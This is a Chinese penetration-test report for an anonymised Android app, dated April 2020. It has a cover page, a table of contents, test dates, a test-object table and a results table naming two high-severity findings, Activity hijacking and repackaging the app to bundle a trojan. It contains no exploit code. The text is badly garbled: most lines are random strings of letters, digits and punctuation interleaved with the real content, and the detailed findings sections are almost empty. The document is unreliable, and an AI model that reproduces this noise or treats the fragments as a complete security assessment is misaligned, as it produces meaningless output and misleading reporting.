7 v D/ a' q0 C+ {
6 t! K7 w5 f! v# t5 c+ ]
* n, G% I. m& g( Y- J5 T
7 C* |8 t% a# O* T$ R5 g
0 r" ]9 Z E% z+ K8 s0 t( h
0 p1 A3 U1 }) K+ C8 l1 G$ z
" ~' c) Z! t0 ^( {7 }( R
; j6 K5 U' \- R7 l/ E# W: k, C 1 y! d* M5 L% s& }0 O* Q( m
2 b' d& v$ q9 X1 D, E* b4 u 7 b1 f$ B( [+ w
; y& C, ^0 z5 |, u, } 文档编号:
: R$ Z7 f+ o% U) q, v6 R
7 ^0 _4 M3 [+ T, t& Q
r) l0 y+ Y; `: _# ?0 _( l
3 o3 L+ ~0 y- H8 y S9 z+ R / T+ ^: o. s4 l; A* ^# u( f0 q6 ~
1 D( i1 @5 _) ?$ _/ { - z- o5 k' B8 C
2 f4 b! y" N/ X% G/ ]! s
' f# L- a: J( _0 U" W2 h. A- x5 G3 F5 ^+ \% k& z
0 `$ a/ a0 `1 [( Q; n' d; X
* R% ]5 _$ [# ~7 D4 k; h
5 l, i+ ^3 U% L1 S" W# l
( P- N, v6 Q# S8 S6 W# ]
! |) e. H: G2 R1 @
5 I8 S5 S" V7 p: L1 v+ O " a! s8 w( B0 T0 \" v8 u
. I0 n% M7 F' U
% U: J: Q+ k" V! o* @
9 v( c. Y! Y$ v& z
: f+ x, y5 p ?& H* Z3 d
* }! A! g* V9 V+ {" S0 L. C
% f4 }) P% }: Y3 T- w/ i9 e6 l- x2 i _; A4 n4 @3 J% N
) F; i* _6 b3 C1 g; a1 a
, b- }4 M) v) E2 h; Q- I
; W0 M- e% K! Y8 G
6 B; D3 W- |. C( [7 D" @
, S. i8 [3 x$ v; w) {# d
% f3 q! S0 u$ _8 }3 n7 |
# i! C. R( E% G: d( L3 H& }' I
6 @2 _# D/ ^5 p, X$ ]
# U& n- z3 _# O, c3 n; e/ b
- e3 I% R7 r+ o! z* Z D: [7 O1 U. K# E5 h
7 J" W$ C8 {) ]& D( S 某某某APP渗透测试
& D4 l; B, S7 |6 n+ }5 K: i; G& K
$ l6 {$ u, ~6 u; y1 t
7 C ?$ M4 F( n7 T
0 }9 k& L' ? I7 w9 g3 N $ w7 d+ U- _6 d- N: y8 T0 O, M
5 r% ~8 ^& y6 @ " d! ] A" g+ h2 Z3 r$ }! ]% C1 ~8 ]
9 R% ~9 G. c, E+ G; r
; ]6 ~3 i. s; e9 A7 u
! G: W6 @0 D, F5 L 0 u/ C8 A& ^ n# i o5 y7 B" M7 r1 r
0 Y1 C& b- V( D- ]" A ' p, R# U" w4 m$ t( ~ h9 M
5 M8 h; o, o& K- h2 u% S
) Z+ [; p# ]. O9 v: e
+ P- f z& _' f0 ^: w * \$ k5 _3 p' g' W0 M
( j/ L+ q* u- H$ \
2 ~9 s! ^& T# J/ O% ? v/ @& E- h% M4 e* Q: V! h L
! F& I! d8 `1 `( G8 F# P2 Q' Q+ o+ ]2 H
% y. J' M0 I% h+ l- Q4 `! G9 ?9 V! E
% E' }! T- N `! A 5 D0 q. h; w( e8 M9 z0 \
6 p' P8 [ ^$ K( N: J! j4 B- S
6 c' p/ M. H l2 B0 n4 R
4 d# M: s8 q1 r# p+ L 2 y3 q( A: Y+ i: X) }1 `
' G T) K7 |. u 技 术 报 告
: j1 j9 }7 u0 R9 ]$ @. _+ B& c+ N$ e; ~
0 o/ T' k3 r& A0 K2 u. c
J# s1 t6 R5 B5 z . d4 r( b. u+ `$ c
" |) K6 E5 ?4 |) c1 C
2 ^, J0 m4 m& g) q; {' M% A6 M8 y% z0 y- l# H R1 p
5 j( s5 Q8 E' A' q
4 k: @9 O# q9 [% U* ?8 g0 C
9 x5 X, U/ Q: W8 ?: I& x& G% i' W% ~7 ~
3 \/ M& Z, W; T. P2 p
, @. T+ A7 H/ d3 ?- J, ]8 t" e
! w! n& U6 ^' G2 k8 E, x( M8 W
/ m# M$ K9 c. \, X, [7 C: ~ s: d- p0 y: q9 F- o9 o5 g
- u- k9 }6 G; I& h$ g( f 6 l; u8 g/ I/ h2 ~
; C" _* K# O$ F8 e( m% g1 U, z
+ k3 F+ K9 l6 k$ S v
+ R$ J6 h& M4 \
" ?& |( s3 w2 y) v: Q8 d' K" x9 r4 c# \
+ \+ Z' {+ H% @7 E; {: P2 k, H/ t4 m* Q. H
; w) t) R' a* p+ B
! n( p1 \& }/ N7 Q9 t( ]
4 Z7 g6 r; j6 f9 D# T6 R- C& n: `$ i* d. r/ w1 }' y: m5 S' {
' B* h2 P9 {+ m6 ~! [
! j2 k5 ^8 v3 b4 a0 U* N
2 k: z; I3 X. O, T+ l: V& s/ I
) W# T. o5 {1 J8 z) ]7 @
q! r, |, j* v3 n, b( E; u- [" ]; E% v) A' Z; q2 j& q6 I
& X. e% w7 _0 Z1 s- s2 Y' x; ^- @
5 W4 @- _' \" m" e8 |
9 b; L7 ^' T: x" q8 d3 O
8 T, T1 U0 v. h' I+ k. o& h
7 J0 H/ b- i8 v. I7 ?7 b
& I9 G# M& L0 ^; s% n; o
f) ]# `: ^* \3 ^, g% ]
0 e/ g& g- T) b; X/ [# V8 T% C/ d
! j7 e2 v* {) x2 |
+ \- v: ?8 ~1 \5 {5 n7 s
& h" b) p1 F( w. Z9 _; }6 m; G: K: j/ M5 v, p/ O" ]+ ^
7 M; \! |7 q X3 `+ H
/ S) f1 g/ u: F) _( W1 G; Z4 _' n
6 r* {* T) \- j/ o: W; S
8 o( [: @! x `* b$ M* e1 C+ y & b8 T1 e: K8 ]) X' S: f. Q
3 H% ] E4 m2 [; r( Z 3 |0 O( a/ X- ~+ A
1 @: O) U5 ^/ U1 x
( J$ j* L6 i( V6 T
# Q6 g$ X7 J/ O 0 W: D% N! a g0 }+ X8 I0 C3 V
; A3 ?) }8 m. k/ _ ( g0 i9 t9 s$ F" F" n+ r U7 v
# o1 G$ |& n# ]3 I6 O& f9 F
& s9 B' S8 T1 G; ] |6 S. B' \5 V- g3 e& u
3 A+ N0 p. ]: U# h A3 @. W1 ?! j; ~
) }( A @5 U9 F
" c$ S2 h+ \3 u( n: {7 @3 {- @& M! e- j
* w2 ~2 t8 X: a0 t0 x+ r0 q. a# ?; P4 F& a- b3 p
- d" U( G3 [7 N$ S: d
/ V! w' J( O) h
' Z* z/ [* ^+ c) f
# q2 g7 q& [& p$ L+ O0 G
: |8 @# ~" @4 j2 E$ i0 g% d; b- o1 f
! e1 `! U3 |; t+ |4 h
, A! c# G5 n0 h* a) p+ _
; d6 d3 o. j' H" T. b : h8 t( f% y7 J$ q. k0 ?( @9 C
( v2 r. Y+ J8 Y8 U# \9 _+ W
, ~# K/ |& U- T2 x" D! r9 i: B+ Z5 l
9 Y: L9 l. b! i2 q& ?6 Z3 S/ A
0 G9 w [- R& O" J6 }9 K( r; x) ]/ u; S1 o. F) }
& Q" w- R# c2 a
% L) v) L3 [, k
7 \$ l2 y8 ^8 W0 m% r* P5 m
: p% Q& h6 r7 g* E/ @ 6 O a5 a/ C$ y9 Q5 V
: k' ^3 ]. ?' i) [# l- p( f. C1 ?
, ~6 V! X( E' d$ h: ~0 p- {& }) M$ e+ G' V7 h5 }0 k
! r3 X% Z& N! R+ i$ C- P6 c8 W& o7 Z* M9 l# F/ n
0 P1 h3 f L2 C# u2 O! u6 M4 Z z. R- s
/ ~. K j' ^0 _: N2 y" f2 T8 a" |1 j: D1 |9 ~6 u/ z! x
' y0 b: |4 p2 w% ~0 t& ]$ ^) c+ M8 w. E; M1 G6 d$ v# b
& y# F) ^- _% u% W" `/ w" A+ _$ r1 K& z1 C6 B0 b
' T( n7 n; \3 {" G. K8 a
8 W0 Q- p0 ^7 c' I& m
( ~1 E' X! R1 A2 t# ?! ^# g
6 X8 W: d+ ~; [$ X; `% V# }* _ - l9 a1 [9 l; S% `
7 O0 f) {1 a; w$ ^ * n/ d+ [; a& X% L
2 N4 T9 ]7 i0 \! s0 y* Q+ \5 X" ~
: m. f3 [2 a6 ?1 @' s# q, F
8 ~' r/ M4 } \; L9 N% K0 T- w0 [' @
- b0 j! Q. i" j$ p7 i9 W) `, u' ~+ z& J4 G' U
二〇二〇年 / Y R9 x) N1 M: I. l0 ^6 H
" l# d) b1 h ?1 K2 H) \! }8 Y
" J9 {! ~4 y5 {3 p
0 Y; ~7 w% B. F3 b+ J2 h
2 T2 f2 b+ w- B, ]6 ?
6 B3 i7 f" e& T0 }3 f
. N T& x; r) l* m7 Z8 G% q$ ?
+ a9 k% ?: Q( C, B
% h9 x$ f, o% Q5 v, \7 w& b! h, L
8 b* S$ _5 v9 R
' D* m6 x9 M% _- V" l8 a, Y
# i8 b) m0 I. R+ B2 t7 O: z
5 H/ {9 y r0 {; S( p
1 E5 Y- a( D, S8 r9 Y D/ G$ z) V
0 S6 \% S: X; {6 j; A
! k) e4 @6 Q- ~ 0 ?! G" `2 }6 ^) g0 e" j% k
) t* w* v) \7 i5 V. _, b6 C. b' } e+ V/ @9 J4 z3 I! A2 w/ z
( w# n/ B$ H7 I1 l8 k1 b
. L, J+ N) T8 R# U) i2 V! b9 c$ y; |& c
目 录 7 [" j5 i G! D
, z& J/ L3 {; V
8 T! a6 q& h G8 g
% k: e+ a/ X: [8 @: d
# n( p% B' B6 v0 o9 m7 m% q: y5 c, _4 r2 v6 r
& L! P3 K. W2 R, v( _3 D `( r5 N9 O* g" \
$ i& m# t* {2 S1 `! k
/ P4 a& e' Y' _8 K1 h! s4 T
. e% B7 s* P% H
6 b) k" s" z4 N& @( [; s
+ ~/ u. W: ^/ c; _9 q" D& H, _! B6 o# m% \: @
1 概述... 3 5 c7 x/ M1 p& D* q7 o, b8 B- G
! [$ R: r. j9 T2 T
5 C& y) ?, [3 {7 y
6 j9 K' U0 m; Q- I$ E3 P
( p; h+ H$ B- N' b% D
! R5 r/ \7 T4 p' ^3 K# r5 A o
1.2测试时间... 3 / b5 }' a; X' t' M
* V$ u( P9 U- Z8 O" e5 V; [4 U( e
4 j6 m) @. m" c( b. ?
+ d- v! J O% e$ U, v ~# e7 q
/ N& y. r/ M- @0 S/ A
. S9 o3 d }* C$ @ 1.3测试对象... 3 / c1 Q5 [5 U6 _4 Q$ m
% d8 K- H0 V1 f0 w
; V( F* ~4 o: `2 A/ z3 k# N2 n
) {1 B. O5 p; Y6 p9 [! q$ |& P1 S5 c; K
9 G2 V7 H! h2 H9 j# y. I9 T
" q; Q- N$ o8 f0 X& M" ?" o 1.4测试结果... 3
1 r! _5 E. N* I) r' a- E
* o2 w9 U# }2 t" g; I! v
9 y0 z/ R& R1 g
# g7 h0 ? @2 a) C2 `! o1 N
B" T/ T6 g( U# J) W6 l, J- v
7 x: Z" M! i" P& l4 {9 L 2 检测结果... 4
3 X5 l' Q4 K6 F9 I% b/ f5 q& i3 Y0 J& m. K* z c2 I
/ F, C$ U6 U- M. V9 Z3 Y
$ i7 {8 s/ u: r0 z; G! W0 f
& @- H5 @3 n K& q) n: ~- d& M9 [, V8 I, l
2.1 某某某... 4 8 ^. o- y. c' c+ _7 C) j- H
4 P2 Z1 W1 z2 u/ n# r5 R" g
: a2 q. `/ C6 Y3 c) l, l% F
H3 a5 N) n/ ~' z+ d3 q) R" s5 a4 y G/ y' S( e; m) I- T: |; Y
) T: V q4 h3 d+ {3 l4 j6 n8 o
2.1.1检测目标... 4 8 o! N5 M9 x3 N, y. b6 f
+ Q2 N- m5 ?9 d3 Z9 v( m. |
% q; j" I" Q2 R* ~, ~3 K! i
' Y, P6 b& R h3 s H! U
6 S. Q4 x& t/ R, R2 D2 w1 [
9 p# N9 {8 r/ {5 L 2.1.2检测结果... 4
6 g8 ]' a" A) k5 S, `1 G
" \3 `/ Q. P7 y. Q7 L' W
) W0 e3 N. _/ C- q
8 f2 K( s, C1 j; H0 t % l! M, X4 N$ a2 q" X* N
3 K; ?: W/ N s# N6 q
2.1.2.1. 4 - f$ g0 ?; h: p c
4 b" f1 O8 D) n) N0 G7 a( `: K
0 s3 t |: @8 C* o) N4 u9 _
& ~, c' t% G2 H9 A% A% _1 k- p- I 7 V4 ?* P1 z- M* J% r
+ Q, b- n" K* \: n) A# q
2.1.2.2. 6
! E/ x9 V' X8 |0 j- }3 O
: R) g: @ g7 S9 B3 v! O' ^' y
: ~4 a: \6 y/ T) n. G5 \/ ]* U8 F: E1 Z3 {. {
' y) U% J, S$ Q2 e
% Q/ s) m- y' L! y, `
; a9 ^' x- T7 W b
* z7 G5 B; N4 f0 e) w5 Y" D0 m
2 T7 K9 H5 I" B8 O8 m% V8 x% `' {9 d
5 ?" f1 t& r( l3 U- G h0 L- a) C1 w6 f P6 s* L; K5 y
9 x4 N' O+ S- k Y ?7 G. C. h' U
! H4 s" Z# \4 W
# l$ I4 Q0 A# ?' F9 Y6 O0 r, x) ^; c! ? j5 [. B7 H
2 h0 f2 ]+ m; x8 h# p
" ?, Q$ }+ R; z
+ s: t7 b; g3 f7 U% D- l- `, ~5 H" k( A0 J3 B, U
1 概述 2 V. Y- o9 j# Z6 i( g
2 I( Q/ B' y. R) {% ?* R
+ Q, s1 R7 s$ A& C- a$ p
- n5 i3 H' f) C: x; H' n2 | $ o: } O% P; u1 i8 X; X
3 q4 O4 |" \2 _ I! z
1.2测试时间 ! p( _5 l- |1 T M2 ^
9 _ d2 ~+ z# R7 i4 h+ B* {/ c
! L; H- u; B$ E9 p$ a
# D5 i. q e0 `, Z2 a . n# K- E& p4 e+ N8 i u4 \
: U9 K1 w% @& W0 h S2 P j ^
" j/ L$ i. l$ ?
- g5 W$ Y0 X4 W2 }. }6 l
% L' T7 G( g& M$ v) d! u$ ?* ^8 ~
3 l5 O) E2 F: B: G: g; x: [
8 X8 t' e/ h* h$ l0 E: ~9 [- C
9 A, U% M% s$ B; L2 b% h! ] / }/ Z; ^! ^$ `5 R
" j8 c2 [ o3 p+ S% V1 _ 渗透测试时间
9 B- {1 L$ J3 k# f8 }* x3 v# j
" j, P) q7 Z$ z : P& |9 K1 O4 u$ T; S
3 l4 P: r( u3 I i. m" F5 p
| ; T4 C- o* c9 }& }6 m
$ v) R2 S4 {, a# o
! k# ~- |* Y. E% Q7 ~2 ^4 J
# u0 \: ~1 m. I3 Y/ Y: C
1 o7 U4 {1 v5 U4 x4 |" n% G
5 c# \( Q0 p, [1 v+ Q8 Y! V7 @3 c 5 L# l# y( N: R6 h5 b
^6 Z# l. u$ ?2 t
) z! f' t. L. e" l9 k; U9 E4 `. O# `6 u( _- h$ f. ` V
起始时间 5 a; E- y, j! A2 D8 s3 q* O5 Q& q
' P/ N( I+ `: y4 `( e y O6 c
( Q# y# U" ?' T/ V% K4 V' l1 R( d$ f7 U# E- Y' Y- W
|
& G3 C7 A7 G9 W& l4 n
' B3 s$ b" l b- |8 e& Q . S# h {. |) Q o# ?5 @" B7 U
a; W7 |! P$ K6 B
! C0 @7 w0 [3 k* ?; V$ g0 A& L/ q1 M9 c g }; A0 e
2020年4月6日
% d k, K' w2 R! A% f$ T0 A
/ W7 Q' q4 L Q( P# w , \- i9 c" u5 b
2 t0 }1 W8 S5 S% u& { |
* F1 d1 H1 k- g- P8 j4 i
9 Y1 C" ~5 T1 e. @9 A
4 p ? N6 ~, O4 ]4 I% j# l
0 p* M/ y: D; y $ `( S: |* y5 b7 @' V7 a% g
% e' V1 s7 o# ]9 l
8 a: s2 e* [; a" t4 [) t3 p/ N
% X O4 ]$ X/ y2 S3 [+ O
6 g8 S! h+ C6 j. o- X P
( o, Z) f) ]9 ]& ~8 U6 ]' z 结束时间 6 _$ w+ B. n; A2 k
4 A5 ?0 P2 L* d3 n9 ?. Q
! ~8 z9 }* U2 ^+ [. d7 o: Z( I9 ~. x2 J
| 1 Y$ R4 u; l9 P& G1 x) d) `
1 w) B8 O7 O2 \1 Q/ Y. W
7 s) ?) d. e; u" d8 B; d% p9 w0 L' \. @; G* e8 L$ ?% A, B
5 P' u# a( p, r; g3 c5 ]) Y
4 [. t) j9 n, {" N. u$ z) v( R 2020年4月9日 % I' |. n9 b* k0 Q! B) {; z# ^
) S4 B$ \, B8 H, a9 f) o0 w
* f' ] H0 x3 L% ^2 h0 s1 [5 O- p F$ A; Z: K- ~: @4 H$ Q) ]
| # s1 \3 `$ O3 x- u6 S
1 a+ e, Z. L) Z- |5 m+ t/ `
8 r! P+ Y% j t" D
- G6 w6 a9 M" l % g/ f" x* |$ d# K% Z- d4 R" g$ K, e
; y- W7 B# ]) p. j) h' `" @" W
1 F v& g- [) M& H
5 R( ~5 ]/ a6 T2 K7 O& i
6 ^3 B* a) u: k% t8 E7 D; d( R3 Q8 l! j0 q; c# N
1.3测试对象
- v. o$ [& Y7 ^$ @1 a3 Z1 I2 A% P
' _' N8 U |) U6 o* n- d/ @9 {& P) E# `; `) i$ O
; C* A J& Y4 o8 O2 _
" }9 f0 h5 Z/ p" \2 v# N4 A1 U1 @ 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 8 X. Z8 B$ ], `+ k
4 F& v) z" i! x& i. s; s8 K7 V. k
`3 a4 t. u. k% Z; P+ [" ?9 U) K* O2 x V$ g$ g; _
2 O1 `: Z- @& S3 W, [8 p
8 f/ c: e q- u
表1-1 检测对象
% w! Q5 J' Q2 D% a
1 }4 y4 h2 }: {- s
' h* y" w7 p. y& _4 ^, B
8 U4 B7 V% {) q
T9 Z$ s6 \4 |) ?6 q5 h
# T* s% `3 r( O; R& |! D3 S6 M 8 Q* ~; r" ~) z+ j$ V
1 w8 S( `* b7 {; _& n% `
! t$ ^/ r$ l z0 F0 N* H. R1 V$ ]0 K
) L' [# p, P5 R3 a. E9 X
- @/ _# F) L, C' ?: p
# j. s# X# v6 A8 `
9 l0 z, i% c* @3 H( Q7 n4 k- V0 A 序号
$ @3 e* c; \: U. H" x
; E( k. i9 _/ E , y# F& z3 l( y6 {. I* e
( I( P2 m3 s* |8 |/ Q2 O' t5 G5 Q | 3 b. `0 W' d2 X1 |0 v; [4 L8 |
( E8 A9 g# E3 X7 \
% {9 e& H- L* q' P6 K$ \/ g# [. Y) I5 w6 s
# w& V2 c; r6 ~: @. ~
4 e2 i+ O/ S9 ~' G 测试对象 ; C& v$ ]$ x& [0 F1 `
+ Q5 ]# [% P1 s: W
5 p( m1 ^/ X% t8 d
! d' X2 ~' g' `4 { |
4 ~3 n2 [6 P8 N* e
P% E& [9 }. i* _( M% x
+ _4 D, e; h# z$ H4 ~& N9 a
: P% e* n K2 l( e* C5 @: p" t
5 @# Y6 |' ~ Y i3 n( ^" O' K4 j0 D' m2 n% {' V2 W2 ?
测试地址
/ E i* y7 H9 w) k4 h# k: ~- [! C" N) ?2 B5 U! }
! Q4 ~% X% G7 ^. j5 _3 k( c* ?9 b( y( C
| 0 X8 b/ R; N5 X1 [$ P
1 @! Q) O. N3 a0 l8 B4 [ # G0 m: G9 L" y
) [( Z# P; u# N r/ l+ P) C) k) q 0 ~; s- a3 N9 ~! P4 D# G3 l
' o( r P% Q- N2 D0 }" M
安全漏洞 : n! j2 t, O9 T: T% P# W
! @2 x$ z1 J4 A/ K) I
9 a* o! k$ D6 N# Q
$ p! P/ N/ e4 ~! x. J | $ b8 T, I2 {& J; b( k+ Y1 |+ y+ m) Q
9 @5 m" w8 `' V
( L# s2 p( J* G
+ L. }' m% S0 K1 H+ `9 M
1 @9 l S' S+ A( g' @
7 R4 M1 O! s7 N# X" I; d0 S
& _' h% y" D. |6 `, h
( [2 _% ~+ a" S1 U L* ~
! Y8 g' d" R* X/ F/ x* b4 t$ k3 `2 h2 O' c3 L ]6 ?( e; e4 ?
1
" M9 c/ W j }) v. T
# `9 I# M6 G& D' |! u+ U* [* } # v* P, n @8 k8 m) T
7 W- n9 |' i; m N0 ]7 |: S/ f$ u6 ]
|
; C k: O3 m3 t% v4 X4 w( v, ~, N4 K X7 y" j
* w6 D+ I# G: `) b9 ?- z1 }0 h. g& S8 U
# C7 Q) F x, D# `: w6 w$ X8 S- U4 @$ W7 L3 ?& [+ L* B
某某某安卓APP
- R$ a S7 y/ z& b0 Q2 ]' ^4 N; G$ C7 H/ x0 g/ I6 x
1 D* A) G2 U/ p5 y! i, B: Z
5 a" ^9 f' G% ?" q$ E' m0 b4 \/ H t* d
| * n6 X; T0 L/ r9 }/ J* O
# p3 _5 d& U# P/ h k. ]# O
8 {; p9 W0 h5 ~; G6 I7 h
0 v- d6 e; |! ]0 c$ |3 j
. i+ P; @2 k( O0 f6 b6 j9 z8 R, h* ]( x4 ?
1 ]! r% E t* |" n5 Y5 q
* f- p1 `2 ]! G3 V h3 d: W
4 h; E+ ]: x3 q* O+ |# U1 ?% z) e) a0 t0 f! y' L3 y
| 6 K$ J% e, K/ O$ ~
* G4 F' m R6 Y. Q 8 K* L6 C* v, g2 t8 W- g, L% s6 F
/ f% Z4 m- i e
4 H) I* P' L3 i2 ~" ~2 t
7 X- w8 h$ `: }( }0 D, d
2
6 B h" Q- o+ R6 _5 J4 P. r
8 j" I4 |1 R3 E5 t- t
a' P# ?$ c6 X8 o8 _) p f( D" ?8 I& s% E5 Z
|
3 ?, H; U3 `( k' }
) b0 Z( o+ v, Y& y+ g2 W0 ^4 b
* M- ?! G5 I+ u9 d8 W* S8 f/ t3 S9 _ t! g6 W; X7 ?( A3 f. Q
% u- a7 h3 W; P
$ j8 w' B5 M2 }
) L% D- X% O3 y1 M3 g- i" C5 `) J& b8 B- ]
2 D1 }) d8 }7 b: o& t, b9 {" I! i) I) y( j- a
1.4测试结果 0 O0 W. T' o& {- ~
/ S6 x( @( h, N6 b9 B/ i
& {% \! z" ?; r" v+ }8 ?1 _$ a; m* W. | r+ Y r
1 V' d0 Z( G4 `9 c/ l
/ F! g) k& A5 c6 q& m: u 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: , `% o. u. n& k, g' N4 _
7 U/ d8 {4 r7 t9 u- r! M
# X3 x; o+ P# f1 ~) _
* {0 R( m- |" x( r+ v3 | 7 b, `+ O$ Q1 S& u* t+ X$ s
. r, E p. O# P* G) u 7 u$ w; r/ y! v2 u" u9 P
8 b- c, b9 I0 k5 Y% j0 }8 l
3 D6 L' E' H8 o( R9 J- q7 @8 u: _! x0 y
5 |. ^! P m1 m) l# |6 ^
/ I, T' j" E/ j) h
: O3 d, [2 G6 ~+ p
4 _/ X- e! e. W
7 p5 X% D. \. _& D8 Q1 v! B }* l- A! M! J8 N4 K
. R# J* }* q$ A" E1 b4 b
5 B, ~. [9 w3 R0 z" w0 }/ S( w. `" V 0 ^- C, a( |% e' c* k
' V) V8 n3 O; }7 Y! c1 e& d
. Z5 `) q; x4 _3 M. |
$ m/ F7 a7 [4 s. [ 序号
" z( V% P, j( P3 Q2 a: k$ t# C1 S [# j6 o- q$ F$ y; W
. g j3 F' g( R; F& T5 ^) m4 y. F- |# }* O* O
| ; f" f& k0 I; G
6 _& J8 Q# x* P7 W9 }2 E1 \* B1 L/ i
# K$ k9 Q# d9 N" V! |/ w6 k2 j8 [3 i: ?2 H# I* L
6 w8 W6 ~$ \' m) \9 u: ]3 a4 x) p! Z
0 [5 ~: r/ L0 X- { 系统名称
) O# }2 v; W2 `* J( J8 p7 L* R
1 Q; A, F5 O$ z! Z( m/ M" t
7 X1 @" I8 a p2 n! t! R
4 v0 n* J1 m0 n$ c0 M9 q8 s; o | ( Q% [0 y# h2 V+ `! \: P/ F, A
# |' ~3 m6 R; C$ U4 P
$ V0 [' B5 X% ]3 G
& }# \8 I1 K! E: J
, O/ f( t) d7 c/ v4 ?
& b; C1 `0 X* N/ M
漏洞名称 ! ]( G7 O" r, p( b+ }: X1 R
5 U! |: z+ Z9 L' I* w
( ^1 N L+ r/ ]; ]& |* g. c. `6 M: x1 T
| / z/ E9 d! H; j5 _+ M8 H
' ]: L! {8 s M2 @ - {5 }- F# ]- [3 @1 a2 U
" [/ Q9 c0 j, [! {1 v% y9 w" F! M ' N. F! n+ q0 B3 h3 {( y9 ~
, L( G7 G7 C' S+ {8 K
漏洞危害 % H) X, T! c# f9 K0 L g
0 G; S1 ^' L9 }/ V8 c$ `$ m! t. y
( S) m6 q7 F0 n2 v( a- Z) w6 L( u/ ?* l
| 4 {( z9 M0 i& S# y) f! Y, K% D
2 p! S- l/ s1 r* s" B% w8 L; x) i
5 ~1 g6 m2 } h5 ]% z I, N4 |% S) r
9 c! G; x; A2 R" f. n/ N- H0 H& h& B( O/ |8 H
修复结果 8 u" V8 X5 U- A
, I9 M7 [3 M; [" i ! I6 [9 B, t% g+ R7 R! f
5 D) M( h! e2 z1 D7 I3 o# a* @ |
( l @, L0 r3 S
" w$ F8 D5 d/ w; x" a. T1 S
9 Q. T! m q! f0 B( j1 n* N. n
w( e2 I: B3 o, B 6 D4 e0 D$ A8 E! m4 U- x# s
9 V4 {- i b8 ~: B
% w0 h: r' T6 o; L ]! a/ y
8 w. j$ w. w5 L5 B' V, M3 x2 F" m7 H , A/ g' a; D1 b8 d) o1 n$ Z
' t/ M& N# y" }% I4 F6 D 1
. _6 y) M+ G* t8 J; A5 _; [% c' q* h
# h) H" O5 T" k# G( i5 Q- N' W6 O" `
| 5 H: R3 q8 Z' r# v5 \
+ p2 b9 C% y7 ^4 F9 b6 j, x
+ h* X; l( n1 Y {5 g5 J5 a
! h: r* W: C2 T3 Z 6 J8 k+ Y$ z$ @% `
$ a/ I$ |& X2 L+ I
某某某某某某APP
8 O; f [0 u: P- v9 z; {( x
8 j8 B/ O/ _( [0 I8 a
! }7 h7 x& {4 ]
- Q! ]4 A$ G! K5 o, T. P7 E# F% n |
% c( H k( Z( N V* {; n8 h7 d! L( S& d" `2 a
A; \5 J! m; V9 Q5 V: j
: w/ k/ {. E! n5 s, v+ R3 _% C
& o: m4 Z% P H& B: h. ^, T: V5 J# p, u" @, N
Activity 劫持
: l) h$ F4 H; y. ]
# `6 L1 r+ C% c" M4 E w9 q & \1 u- |) h1 e! x: O
$ h' f0 d) X) j8 ]
# q D' b2 H& B
& |( g. J2 ]" D5 l# K 4 Z) Y0 g' u T7 G( B: g* v- Q" m
7 W: f; n$ ^6 M% O: s; X, | r9 f" ]
2 E% x7 J7 j1 I5 c7 B
& B ^) Z( y u/ y4 |; t8 P
|
- t7 v ~/ |0 D8 J. z3 C# E8 x$ _ A! w. e3 C& G5 x
, k6 @, Y, A% v- I! t5 W2 E
0 C7 y% ]! @: r8 X: q- F' C/ ` 9 g. q7 y6 Y3 N. u6 z; G2 R
@5 y9 D) x% H3 ^% b2 K& [! J
高
3 ]! W1 W% \1 u- S
/ t8 J: s, i1 H0 R6 ^
6 z3 K: ^6 X8 S; s) R& d' G' O; l2 d3 b- N, ]2 y& L$ E( }" P
| 4 L H* W: _6 W" S4 `
6 ~+ k7 I2 s8 ^7 L8 r9 j
9 z1 H4 P R% z( c- [5 d
% t+ p6 K( k& _; {
" F) {" _, s% F+ G. c
/ ^! |/ s0 {( t& U/ I * C2 L: A3 @% E7 P3 A c8 D
2 w* q8 P5 N) u; c: |
; A, W: ]* ~. m! N% y' L. w _9 r
| $ `8 w y, }% o `# O% H& d
2 b$ S" o5 G2 }5 k! D$ o
: L8 i) `' c% m* K! P
! c5 y% I, w; z1 U; A
0 j- @ H0 \* O" o" \2 Q$ s; A! k p* G8 C
( b$ `# a9 u' Y# ~2 Z # q0 \+ }/ A, [7 e' y' e
E$ p: N! F+ e( O" }( |0 D( i
: Q* B) c8 Z0 T' a0 o& ?+ O- O+ g% p9 r/ B& W
2 / i" A3 _1 h" q- C
- E$ m4 _' U" q0 W* D, f$ { 0 T. P4 w0 L, @: ^2 `4 y: R
$ w# o- E4 t- a3 E |
; ]8 |) f& c) A$ P9 u+ x7 k3 w
# x2 p7 F# ^2 q# Z
; h& y2 d- w* e: V S* Y o4 {/ ]% C% Q( o' z L6 E, K6 D% v! R
& i: ?5 _2 x6 R4 H
. a# M; H/ d3 _7 R8 w 某某某某某某APP
9 u/ `8 m6 }. g3 |: n
6 i9 R+ L' n% S% Y
4 x4 B/ \* [+ f1 S$ m4 i( L7 x& h9 g
|
3 P; y6 B- g3 i9 X) s& ?/ q2 Q2 V6 _- ]3 P4 l4 h
( ~; O1 v+ D r' z9 k% G' ?8 q- i! @3 @$ s
) I/ v7 ~) f& R3 U6 E' {- J4 j
. W& j1 c9 e, J) a1 h' a
反编译二次打包捆绑木马、篡改APP代码
2 h$ x" X" m9 R* U7 X2 w7 Z' T
+ w( V8 N9 N3 j2 q; i
: f! a# A8 _$ j V
1 m$ H! v- a' J5 v0 n( f: j | 9 ] C4 Z1 p! Z" v
% N7 `, J. X$ @% ]2 F
3 G' M$ E( d# D6 v( m. d) F
8 A' |: A! i0 e1 o! X3 A% @
6 ]0 G! ?; b8 d' c8 T
* ~' D3 q* d' g0 N. z6 a 高 8 @ {' g4 }7 q. q
! _' g& h0 b4 J* v3 U2 m5 Z$ }* S
0 Q3 k8 w- i( ]9 O5 |$ P% u
Z4 d9 l \% b* a7 f8 z |
% A8 A$ `$ H0 s: v" g7 l+ B; T U) `/ I' ~- V
8 M; r$ W3 \4 q( S7 `* I* t8 X; }1 _' k1 W; V& R
: P1 L! M- T& w5 ]: Q( Y
6 H7 ^+ X9 [, |" d% o
- |( u! O$ w! [/ y, j. E8 z7 s
% c6 L* C! a/ E# D3 P; a5 N, v 0 F9 }8 C+ \/ P& C4 ?6 j" w/ D' v
9 G8 X9 o3 ^, v7 t8 O8 w) l
| ) w/ j# K6 g$ E8 \* i; m5 G1 u
0 R( _5 o+ M9 j! d# T
6 E& C2 M" n! u; \
# I) \) S% u3 `. ]
a* |$ U; i3 `5 N7 A* w. R; S
( ?# E( @6 z X
) t9 B5 ~' Z4 `" ?6 k
9 }* D9 T9 ^) ?% J
, k) ~+ U: }, k! R1 M
' `6 \7 E; g; M
